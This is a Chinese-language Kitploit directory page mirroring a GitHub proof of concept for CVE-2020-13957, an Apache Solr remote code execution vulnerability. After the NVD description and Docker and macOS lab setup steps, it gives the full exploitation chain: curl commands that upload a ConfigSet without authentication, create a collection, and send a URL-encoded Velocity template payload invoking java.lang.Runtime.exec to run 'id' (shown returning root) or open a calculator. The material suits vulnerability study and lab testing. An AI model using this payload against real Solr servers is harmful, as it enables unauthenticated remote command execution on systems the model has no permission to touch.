Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-13957 — Apache Solr 远程代码执行 CVE-2020-13957 | Kitploit
工具/GitHubGitHub/s-index/cve-2020-13957
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubs-index/cve-2020-13957

CVE-2020-13957

Apache Solr 远程代码执行 CVE-2020-13957

查看仓库
1135年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Apache Solr RCE CVE-2020-13957

Docker 演示

docker-demo

Mac 演示

mac-demo

NVD CVE-2020-13957 描述

NVD CVE-2020-13957

root@kitploit:~
Apache Solr 6.6.0 至 6.6.6、7.0.0 至 7.7.3 以及 8.0.0 至 8.6.2 版本阻止了一些被视为危险的特性(这些特性可能被用于远程代码执行)在通过 API 无需身份验证/授权上传的 ConfigSet 中进行配置。通过使用 UPLOAD/CREATE 操作的组合,可以绕过为防止此类特性而设置的检查。

Docker

搭建 PoC 环境

1. 根据 Dockerfile 构建镜像

root@kitploit:~
$ docker build -t cve-2020-13957 .

2. 在新的容器中运行 /bin/bash

root@kitploit:~
$ docker run --rm -p 8983:8983 --name cve-2020-13957 -it cve-2020-13957 /bin/bash

3. 在容器中启动 Apache Solr Cloud

root@kitploit:~
$ ./solr start -e cloud -noprompt -force

利用

1. 上传 ConfigSet

Apache Solr 指南 上传 ConfigSet

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. 创建集合

Apache Solr 指南 创建集合

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. 执行 id 命令

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27id%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

输出

root@kitploit:~
     0  uid=0(root) gid=0(root) groups=0(root)

Mac

搭建 PoC 环境

1. 下载 Apache Solr

root@kitploit:~
$ curl -OL https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.tgz

2. 解压

root@kitploit:~
$ tar -xzvf solr-8.2.0.tgz

3. 启动 Apache Solr Cloud

root@kitploit:~
$ solr-8.2.0/bin/solr start -e cloud -noprompt -force

利用

1. 上传 ConfigSet

Apache Solr 指南 上传 ConfigSet

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. 创建集合

Apache Solr 指南 创建集合

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. 打开计算器

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27open+-a+calculator%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

参考资料

  • https://github.com/Imanfeng/Apache-Solr-RCE#cve-2020-13957
下载工具